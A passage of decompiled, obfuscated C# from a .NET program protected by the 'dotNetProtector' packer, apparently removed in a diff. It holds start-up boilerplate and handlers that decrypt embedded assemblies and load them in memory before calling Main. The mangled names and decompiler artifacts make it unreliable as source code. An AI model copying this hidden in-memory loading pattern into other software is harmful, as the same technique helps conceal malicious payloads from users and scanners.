Interlocked.Decrement(ref \u0082\u00BB.\u0081ó) == 0 ? 1 : 0; - \u0082\u00BB.É(); - if ((byte) num == (byte) 0) - return; - \u0082\u00BB.\u0081\u009D(); - } - - [DebuggerStepThrough] - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - internal static unsafe void û([In] Ñ* obj0, Exception _param1) - { - try - { - bool flag = Interlocked.Decrement(ref \u0082\u00BB.\u0081ó) == 0; - \u0082\u00BB.\u0081À(); - if (!flag) - return; - \u0082\u00BB.\u0081\u009D(); - } - catch (Exception ex) - { - \u0082\u00BB.\u0081\u0095(_param1, ex); - } - catch - { - \u0082\u00BB.\u0081\u0095(_param1, (Exception) null); - } - } - - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - [DebuggerStepThrough] - internal static unsafe void ë([In] Ñ* obj0) - { - bool flag = false; - RuntimeHelpers.PrepareConstrainedRegions(); - try - { - \u0082\u00BB.\u00A3((Ê*) obj0, "The C++ module failed to load.\n"); - RuntimeHelpers.PrepareConstrainedRegions(); - try - { - } - finally - { - Interlocked.Increment(ref \u0082\u00BB.\u0081ó); - flag = true; - } - \u0082\u00BB.Ø(obj0); - } - catch (Exception ex) - { - if (flag) - \u0082\u00BB.û(obj0, ex); - \u0082\u00BB.\u00B9(\u0082\u00BB.\u009A((Ê*) obj0), ex); - } - catch - { - if (flag) - \u0082\u00BB.û(obj0, (Exception) null); - \u0082\u00BB.\u00B9(\u0082\u00BB.\u009A((Ê*) obj0), (Exception) null); - } - } - - [DebuggerStepThrough] - static unsafe \u0082\u00BB() - { - Ñ ñ; - \u0082\u00BB.Ó(&ñ); - // ISSUE: fault handler - try - { - \u0082\u00BB.ë(&ñ); - } - __fault - { - // ISSUE: method pointer - // ISSUE: cast to a function pointer type - \u0082\u00BB.\u0081\u00A4((__FnPtr) __methodptr(Æ), (void*) &ñ); - } - \u0082\u00BB.\u00B0((Ê*) &ñ); - } - - internal static unsafe Ñ* Ó([In] Ñ* obj0) - { - \u0082\u00BB.º((Ê*) obj0); - return obj0; - } - - internal static unsafe void Æ([In] Ñ* obj0) => \u0082\u00BB.\u00B0((Ê*) obj0); - - [DebuggerStepThrough] - internal static unsafe Ê* º([In] Ê* obj0) - { - IntPtr num = (IntPtr) GCHandle.Alloc((object) null); - *(int*) obj0 = (int) num.ToPointer(); - return obj0; - } - - [DebuggerStepThrough] - internal static unsafe void \u00B0([In] Ê* obj0) - { - ((GCHandle) new IntPtr((void*) *(int*) obj0)).Free(); - *(int*) obj0 = 0; - } - - [DebuggerStepThrough] - internal static unsafe Ê* \u00A3([In] Ê* obj0, string _param1) - { - ((GCHandle) new IntPtr((void*) *(int*) obj0)).Target = (object) _param1; - return obj0; - } - - internal static unsafe string \u009A([In] Ê* obj0) => (string) ((GCHandle) new IntPtr((void*) *(int*) obj0)).Target; - - [STAThread] - internal static unsafe int \u0082\u009C(string[] _param0) - { - try - { - \u0082\u00BB.à(1); - *\u0082\u00BB.Å() = \u0082\u00BB.\u0024; - *\u0082\u00BB.Ì() = \u0082\u00BB.\u0081ß; - \u0082\u00BB.\u0081þ(); - \u0082\u00BB.\u0082\u0081(); - if (\u0082\u00BB.\u0081í == -1) - \u0082\u00BB.Ù(-1); - \u0082º º; - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(int&) ref º = \u0082\u00BB.\u0081ñ; - int num; - char** chPtr1; - char** chPtr2; - if (\u0082\u00BB.Â(&num, &chPtr1, &chPtr2, \u0082\u00BB.\u0081ô, &º) < 0) - \u0082\u00BB.\u0081º(8); - \u0082\u00BB.\u008A(); - return \u0082\u00BB.\u0081É(_param0); - } - catch (Exception ex) when (\u0082\u00BB.È((uint) Marshal.GetExceptionCode(), (\u0082\u00B2*) Marshal.GetExceptionPointers()) != 0) - { - return Marshal.GetExceptionCode(); - } - } - - internal static unsafe void \u008A() - { - \u0082\u009A* objPtr1 = (\u0082\u009A*) \u0082\u00BB.Ò((sbyte*) 0); - if (*(ushort*) objPtr1 != (ushort) 23117) - return; - \u0082\u00A7* objPtr2 = (\u0082\u00A7*) (*(int*) ((IntPtr) objPtr1 + 60) + (IntPtr) objPtr1); - if (*(int*) objPtr2 != 17744 || *(ushort*) ((IntPtr) objPtr2 + 24) != (ushort) 267) - return; - if (*(ushort*) ((IntPtr) objPtr2 + 24 + 68) != (ushort) 3) - \u0082\u00BB.à(2); - else - \u0082\u00BB.à(1); - } - - [DebuggerStepThrough] - internal static unsafe void \u0082\u0086() - { - object obj = new object(); - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(int&) ref \u0082\u00BB.\u0091 = 0; - \u0082\u00BB.\u00AB(&\u0082\u00BB.\u0091, obj); - } - - [DebuggerStepThrough] - [return: MarshalAs(UnmanagedType.U1)] - internal static unsafe bool \u0082\u00AC() => \u0082\u00BB.â(&\u0082\u00BB.\u0091) != null; - - [DebuggerStepThrough] - internal static unsafe void \u0082\u00A0() => Monitor.Enter(\u0082\u00BB.â(&\u0082\u00BB.\u0091)); - - [DebuggerStepThrough] - internal static unsafe void \u0082\u0091() => Monitor.Exit(\u0082\u00BB.â(&\u0082\u00BB.\u0091)); - - internal static void \u0082\u0083() => \u0082\u00BB.ø((__FnPtr) __methodptr(\u0081Ý)); - - internal static unsafe void \u0081Ý() => \u0082\u00BB.Í(&\u0082\u00BB.\u0091); - - [DebuggerStepThrough] - [return: MarshalAs(UnmanagedType.U1)] - internal static unsafe bool \u0081\u00BF() - { - bool flag = false; - if (\u0082\u00BB.\u0082\u00AC()) - { - Monitor.Enter(\u0082\u00BB.â(&\u0082\u00BB.\u0091)); - flag = true; - } - return flag; - } - - [DebuggerStepThrough] - [return: MarshalAs(UnmanagedType.U1)] - internal static unsafe bool \u0081\u00B8() - { - bool flag = false; - if (\u0082\u00BB.\u0082\u00AC()) - { - Monitor.Exit(\u0082\u00BB.â(&\u0082\u00BB.\u0091)); - flag = true; - } - return flag; - } - - [DebuggerStepThrough] - [return: MarshalAs(UnmanagedType.U1)] - internal static bool \u0081\u00B0() - { - if (!\u0082\u00BB.\u0082\u00AC()) - \u0082\u00BB.\u0082\u0086(); - return \u0082\u00BB.\u0082\u00AC(); - } - - internal static unsafe int \u0081\u00A6( - __FnPtr _param0, - uint* _param1, - __FnPtr** _param2, - __FnPtr** _param3) - { - // ISSUE: cast to a function pointer type - __FnPtr local1 = (__FnPtr) 0; - if (_param0 == null) - return -1; - int num1; - if (\u0082\u00BB.\u0081\u00BF()) - { - try - { - if (*_param1 - 1U < (uint) (*(int*) _param2 - *(int*) _param3) >> 2) - { - try - { - uint num2 = *_param1 * 4U; - uint num3 = num2 >= 2048U ? 2048U : num2; - IntPtr cb = new IntPtr((int) num2 + (int) num3); - IntPtr num4 = Marshal.ReAllocHGlobal(new IntPtr((void*) *(int*) _param3), cb); - __FnPtr** local2 = _param2; - IntPtr num5 = *(int*) local2 + ((IntPtr) num4.ToPointer() - *(int*) _param3); - *(int*) local2 = (int) num5; - *(int*) _param3 = (int) num4.ToPointer(); - uint num6 = *_param1; - uint num7 = 512U >= num6 ? num6 : 512U; - *_param1 = num6 + num7; - } - catch (OutOfMemoryException ex) - { - IntPtr cb = new IntPtr((int) *_param1 * 4 + 8); - IntPtr num8 = Marshal.ReAllocHGlobal(new IntPtr((void*) *(int*) _param3), cb); - __FnPtr** local3 = _param2; - IntPtr num9 = *(int*) local3 + ((IntPtr) num8.ToPointer() - *(int*) _param3); - *(int*) local3 = (int) num9; - *(int*) _param3 = (int) num8.ToPointer(); - uint* numPtr = _param1; - int num10 = (int) *numPtr + 4; - *numPtr = (uint) num10; - } - } - *(int*) *(int*) _param2 = (int) _param0; - __FnPtr** local4 = _param2; - int num11 = *(int*) local4 + 4; - *(int*) local4 = num11; - local1 = _param0; - } - catch (OutOfMemoryException ex) - { - } - finally - { - \u0082\u00BB.\u0081\u00B8(); - } - if (local1 != null) - { - num1 = 0; - goto label_12; - } - } - num1 = -1; -label_12: - return num1; - } - - internal static unsafe void \u0081\u0098() - { - if ((IntPtr) \u0082\u00BB.\u0082\u0085 == new IntPtr(-1) || (IntPtr) \u0082\u00BB.\u0082\u0085 == IntPtr.Zero || (IntPtr) \u0082\u00BB.\u0082\u008D == IntPtr.Zero) - return; - \u0082\u00BB.\u0082\u008D -= 4; - if (\u0082\u00BB.\u0082\u008D >= \u0082\u00BB.\u0082\u0085) - { - do - { - if (*(int*) \u0082\u00BB.\u0082\u008D != 0) - { - // ISSUE: cast to a function pointer type - // ISSUE: function pointer call - __calli((__FnPtr) *(int*) \u0082\u00BB.\u0082\u008D)(); - } - \u0082\u00BB.\u0082\u008D -= 4; - } - while (\u0082\u00BB.\u0082\u008D >= \u0082\u00BB.\u0082\u0085); - } - Marshal.FreeHGlobal(new IntPtr((void*) \u0082\u00BB.\u0082\u0085)); - } - - [DebuggerStepThrough] - internal static unsafe int \u0081\u0094() - { - if (!\u0082\u00BB.\u0081\u00B0()) - return 0; - \u0082\u00BB.\u0082\u0085 = (__FnPtr*) Marshal.AllocHGlobal(128).ToPointer(); - \u0082\u00BB.\u0082\u008D = \u0082\u00BB.\u0082\u0085; - \u0082\u00BB.\u0082\u0097 = 32U; - return 1; - } - - internal static __FnPtr \u0081\u0091(__FnPtr _param0) => \u0082\u00BB.\u0081\u008A((__FnPtr) _param0) != -1 ? _param0 : (__FnPtr) 0; - - internal static unsafe int \u0081\u008A(__FnPtr _param0) => \u0082\u00BB.\u0081\u00A6(_param0, &\u0082\u00BB.\u0082\u0097, &\u0082\u00BB.\u0082\u008D, &\u0082\u00BB.\u0082\u0085); - - [DebuggerStepThrough] - internal static unsafe int \u0081\u0089() - { - if (\u0082\u00BB.\u0081\u00B0()) - { - \u0082\u00BB.\u0082\u009F = (__FnPtr*) Marshal.AllocHGlobal(128).ToPointer(); - \u0082\u00BB.\u0081ü = \u0082\u00BB.\u0082\u009F; - \u0082\u00BB.\u0097 = 32U; - } - return 1; - } - - internal static unsafe void É() - { - if ((IntPtr) \u0082\u00BB.\u0082\u009F == new IntPtr(-1) || (IntPtr) \u0082\u00BB.\u0082\u009F == IntPtr.Zero) - return; - if ((IntPtr) \u0082\u00BB.\u0081ü == IntPtr.Zero) - return; - try - { - while (true) - { - do - { - \u0082\u00BB.\u0081ü -= 4; - if (\u0082\u00BB.\u0081ü < \u0082\u00BB.\u0082\u009F) - goto label_8; - } - while (*(int*) \u0082\u00BB.\u0081ü == 0); - // ISSUE: cast to a function pointer type - // ISSUE: function pointer call - __calli((__FnPtr) *(int*) \u0082\u00BB.\u0081ü)(); - } -label_8:; - } - finally - { - Marshal.FreeHGlobal(new IntPtr((void*) \u0082\u00BB.\u0082\u009F)); - } - } - - internal static __FnPtr ý(__FnPtr _param0) => \u0082\u00BB.ø((__FnPtr) _param0) != -1 ? _param0 : (__FnPtr) 0; - - [DebuggerStepThrough] - internal static unsafe int ø(__FnPtr _param0) => \u0082\u00BB.\u0081\u00A6(_param0, &\u0082\u00BB.\u0097, &\u0082\u00BB.\u0081ü, &\u0082\u00BB.\u0082\u009F); - - [DebuggerStepThrough] - internal static unsafe void ó([In] \u0082\u0098* obj0, object _param1) - { - *(int*) obj0 = 0; - \u0082\u00BB.\u00AB(obj0, _param1); - } - - [DebuggerStepThrough] - internal static unsafe object â([In] \u0082\u0098* obj0) - { - ValueType valueType = \u0082\u00BB.\u00BE(obj0); - return valueType != null ? ((GCHandle) valueType).Target : (object) null; - } - - internal static unsafe void Í([In] \u0082\u0098* obj0) - { - ValueType valueType = \u0082\u00BB.\u00BE(obj0); - if (valueType == null) - return; - ((GCHandle) valueType).Free(); - *(int*) obj0 = 0; - } - - [DebuggerStepThrough] - internal static unsafe ValueType \u00BE([In] \u0082\u0098* obj0) - { - uint num = (uint) *(int*) obj0; - return num != 0U ? (ValueType) GCHandle.FromIntPtr(new IntPtr((void*) num)) : (ValueType) null; - } - - [DebuggerStepThrough] - internal static unsafe void \u00AB([In] \u0082\u0098* obj0, object _param1) - { - ValueType valueType = \u0082\u00BB.\u00BE(obj0); - if (valueType == null) - { - IntPtr intPtr = GCHandle.ToIntPtr(GCHandle.Alloc(_param1)); - *(int*) obj0 = (int) intPtr.ToPointer(); - } - else - ((GCHandle) valueType).Target = _param1; - } - - [DebuggerStepThrough] - internal static unsafe int \u0082\u009E(__FnPtr* _param0, __FnPtr* _param1) - { - int num1 = 0; - if (_param0 < _param1) - { - while (num1 == 0) - { - uint num2 = (uint) *(int*) _param0; - if (num2 != 0U) - { - // ISSUE: cast to a function pointer type - // ISSUE: function pointer call - num1 = __calli((__FnPtr) (int) num2)(); - } - _param0 += 4; - if (_param0 >= _param1) - break; - } - } - return num1; - } - - [DebuggerStepThrough] - internal static unsafe void \u0093(__FnPtr* _param0, __FnPtr* _param1) - { - if (_param0 >= _param1) - return; - do - { - uint num = (uint) *(int*) _param0; - if (num != 0U) - { - // ISSUE: cast to a function pointer type - // ISSUE: function pointer call - __calli((__FnPtr) (int) num)(); - } - _param0 += 4; - } - while (_param0 < _param1); - } - - [DebuggerStepThrough] - internal static ModuleHandle \u0082\u0093() => typeof (\u0082\u0090).Module.ModuleHandle; - - [DebuggerStepThrough] - internal static unsafe void \u0085(__FnPtr* _param0, __FnPtr* _param1) - { - if (_param0 >= _param1) - return; - do - { - uint num = (uint) *(int*) _param0; - if (num != 0U) - { - // ISSUE: cast to a function pointer type - // ISSUE: function pointer call - void* voidPtr = __calli(\u0082\u00BB.\u0083((__FnPtr) (int) num))(); - } - _param0 += 4; - } - while (_param0 < _param1); - } - - [DebuggerStepThrough] - internal static unsafe __FnPtr \u0083(__FnPtr _param0) => (__FnPtr) (IntPtr) \u0082\u00BB.\u0082\u0093().ResolveMethodHandle((int) _param0).GetFunctionPointer().ToPointer(); - - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - internal static unsafe void \u0081\u00A4(__FnPtr _param0, void* _param1) - { - try - { - void* voidPtr = _param1; - // ISSUE: function pointer call - __calli(_param0)(voidPtr); - } - catch (Exception ex) when (\u0082\u00BB.\u0081\u00A9((\u0082\u00B2*) Marshal.GetExceptionPointers()) != 0) - { - } - } - - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - internal static unsafe void \u0082\u0099(__FnPtr _param0, void* _param1) - { - try - { - void* voidPtr = _param1; - // ISSUE: function pointer call - __calli(_param0)(voidPtr); - } - catch (Exception ex) when (\u0082\u00BB.\u0081\u00A9((\u0082\u00B2*) Marshal.GetExceptionPointers()) != 0) - { - } - } - - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - internal static unsafe void \u0082\u0092( - __FnPtr)> _param0, - void* _param1, - uint _param2, - int _param3, - __FnPtr _param4) - { - try - { - void* voidPtr = _param1; - int num1 = (int) _param2; - int num2 = _param3; - __FnPtr local = _param4; - // ISSUE: cast to a function pointer type - // ISSUE: function pointer call - __calli(_param0)((__FnPtr) (IntPtr) voidPtr, num1, (uint) num2, (void*) local); - } - catch (Exception ex) when (\u0082\u00BB.\u0081\u00A9((\u0082\u00B2*) Marshal.GetExceptionPointers()) != 0) - { - } - } - - internal static void \u0082\u0081() - { - if (\u0082\u00BB.\u0081å != 0) - return; - // ISSUE: method pointer - // ISSUE: cast to a function pointer type - \u0082\u00BB.\u00BB((__FnPtr) __methodptr(\u0081ú)); - } - - internal static int \u0081þ() => 0; - - internal static unsafe int \u0081ú(\u0081î* _param0) => 0; - - internal static unsafe Assembly \u0081õ(string _param0) - { - string str = _param0.Replace("\\", ""); - if (!str.StartsWith("PvLogiciels.dotNetProtector.Runtime")) - return (Assembly) null; - int length = str.IndexOf(','); - if (length >= 0) - str = str.Substring(0, length).Trim(); - bool flag = str == "PvLogiciels.dotNetProtector.Runtime"; - byte[] numArray = !flag ? new byte[\u0082\u00BB.\u00A4()] : new byte[\u0082\u00BB.\u009D()]; - if (numArray == null || numArray.Length == 0) - return (Assembly) null; - GCHandle gcHandle = GCHandle.Alloc((object) numArray, GCHandleType.Pinned); - byte* pointer = (byte*) Marshal.UnsafeAddrOfPinnedArrayElement((Array) numArray, 0).ToPointer(); - if (flag) - \u0082\u00BB.ª(pointer); - else - \u0082\u00BB.\u00B3(pointer); - gcHandle.Free(); - return Assembly.Load(numArray); - } - - internal static unsafe void* \u0081ï(byte* _param0, int _param1) - { - byte[] numArray = new byte[_param1]; - Marshal.Copy((IntPtr) (void*) _param0, numArray, 0, _param1); - Module module = Assembly.GetExecutingAssembly().LoadModule("embedded.netmodule", numArray); - AppDomain.CurrentDomain.SetData("PvLogiciels.dotNetProtector.embedded.netmodule", (object) module); - return Marshal.GetHINSTANCE(module).ToPointer(); - } - - internal static unsafe void* \u0081â(byte* _param0, int _param1) - { - byte[] numArray = new byte[_param1]; - Marshal.Copy((IntPtr) (void*) _param0, numArray, 0, _param1); - return Marshal.GetHINSTANCE(Assembly.Load(numArray).GetLoadedModules()[0]).ToPointer(); - } - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static int \u0081Û(string[] _param0) => \u003CdotNetProtector\u003E.Main(_param0); - - internal static int \u0081Ö(string[] _param0) - { - Module data = (Module) AppDomain.CurrentDomain.GetData("PvLogiciels.dotNetProtector.embedded.netmodule"); - if ((object) data == null) - return \u0082\u00BB.\u0081Û(_param0); - Type type = data.GetType(""); - if ((object) type == null) - return \u0082\u00BB.\u0081Û(_param0); - MethodBase method = (MethodBase) type.GetMethod("Main", BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic); - if ((object) method == null) - return \u0082\u00BB.\u0081Û(_param0); - object[] parameters = new object[1] - { - (object) _param0 - }; - return (int) method.Invoke((object) null, parameters); - } - - internal static Assembly \u0081Ô(object _param0, ResolveEventArgs _param1) - { - string str = _param1.Name.Replace("\\", ""); - if (!str.StartsWith("PvLogiciels.dotNetProtector.Runtime")) - return (Assembly) null; - Assembly[] assemblies = AppDomain.CurrentDomain.GetAssemblies(); - int index = 0; - if (0 < assemblies.Length) - { - Assembly assembly; - do - { - assembly = assemblies[index]; - if (!(assembly.FullName == str)) - ++index; - else - goto label_5; - } - while (index < assemblies.Length); - goto label_6; -label_5: - return assembly; - } -label_6: - return (Assembly) null; - } - - internal static Module \u0081Í(object _param0, ResolveEventArgs _param1) => (Module) AppDomain.CurrentDomain.GetData("PvLogiciels.dotNetProtector.embedded.netmodule"); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static int \u0081Ê(string[] _param0) - { - PvLogiciels.dotNetProtector.Runtime.ExeInit(typeof (RuntimeInterop), IntPtr.Zero, 0); - Assembly.GetExecutingAssembly().ModuleResolve += new ModuleResolveEventHandler(\u0082\u00BB.\u0081Í); - return \u0082\u00BB.\u0081Ö(_param0); - } - - [STAThread] - internal static int \u0081É(string[] _param0) - { - \u0082\u00BB.\u00B6(); - AppDomain.CurrentDomain.AssemblyResolve += new ResolveEventHandler(\u0082\u00BB.\u0081Ô); - return \u0082\u00BB.\u0081Ê(_param0); - } - - internal static void \u0081È() - { - } - - internal static int \u0081Å() => 0; - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void* \u0081\u00BE(); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern void \u0081º([In] int obj0); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern void \u0081\u00B7(); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern void \u0081\u00B2([In] uint obj0); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern void \u00B9([In] string obj0, [In] Exception obj1); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern void \u00B9([In] string obj0); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern void \u0081\u00A1(); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern void \u0081\u0095([In] Exception obj0, [In] Exception obj1); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern void \u0081\u0085([In] EventHandler obj0); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void ö([In] __FnPtr obj0, [In] void* obj1); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern void ì(); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern int é(); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern void à([In] int obj0); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern int Ù([In] int obj0); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe \u00AD* Ò([In] sbyte* obj0); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int* Ì(); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int È([In] uint obj0, [In] \u0082\u00B2* obj1); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int* Å(); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int Â( - [In] int* obj0, - [In] char*** obj1, - [In] char*** obj2, - [In] int obj3, - [In] \u0082º* obj4); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081\u00A9([In] \u0082\u00B2* obj0); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern void \u00BB([In] __FnPtr obj0); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern void \u00B6(); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void \u00B3([In] byte* obj0); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void ª([In] byte* obj0); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern int \u00A4(); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern int \u009D(); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void \u0098([In] int obj0, [In] void* obj1, [In] void* obj2, [In] void* obj3); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void \u0096([In] void* obj0); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void* \u0082\u0087([In] byte* obj0, [In] void** obj1); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void \u008B([In] void* obj0); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void* \u0081ø(); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe uint \u0082([In] byte* obj0); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0082\u00B9([In] byte* obj0, [In] int* obj1); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0082\u00AF([In] byte* obj0, [In] int* obj1); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0082\u00AB([In] byte* obj0, [In] int* obj1); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081Ø([In] byte* obj0, [In] sbyte* obj1, [In] int* obj2); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0082\u00A1([In] byte* obj0, [In] sbyte* obj1, [In] int* obj2); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0082\u0096([In] byte* obj0, [In] sbyte* obj1, [In] int* obj2); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void* \u0082\u008B([In] byte* obj0); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0082\u0082([In] void* obj0); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081\u00AC( - [In] byte* obj0, - [In] void* obj1, - [In] void* obj2, - [In] sbyte** obj3, - [In] byte obj4); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081\u00AC( - [In] byte* obj0, - [In] void* obj1, - [In] void* obj2, - [In] int obj3, - [In] int obj4, - [In] long obj5, - [In] sbyte** obj6, - [In] byte obj7); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081ð([In] byte* obj0, [In] void* obj1, [In] void* obj2, [In] sbyte** obj3); - - 